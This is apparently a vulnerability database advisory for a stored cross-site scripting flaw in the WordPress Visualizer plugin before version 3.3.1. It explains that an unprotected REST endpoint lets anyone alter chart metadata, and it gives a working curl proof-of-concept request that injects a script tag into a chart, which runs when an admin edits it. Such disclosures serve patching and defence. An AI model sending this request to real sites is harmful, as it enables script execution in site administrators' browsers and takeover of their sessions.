Lucene search

K
wpexploitWpvulndbWPEX-ID:867E000D-D2F5-4D53-89B0-41D7D4163F44
HistorySep 28, 2019 - 12:00 a.m.

Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS)

2019-09-2800:00:00
wpvulndb
13

0.002 Low

EPSS

Percentile

52.9%

By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart.

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.158.128:8000' -H $'Content-Type: application/json' \
    --data-binary $'{\"id\": 7, \"visualizer-chart-type\": \"\\\"><script>alert(1);</script><span data-x=\\\"\"}' \
    $'http://192.168.158.128:8000/wp-json/visualizer/v1/update-chart'

See the references for more details

0.002 Low

EPSS

Percentile

52.9%

Related for WPEX-ID:867E000D-D2F5-4D53-89B0-41D7D4163F44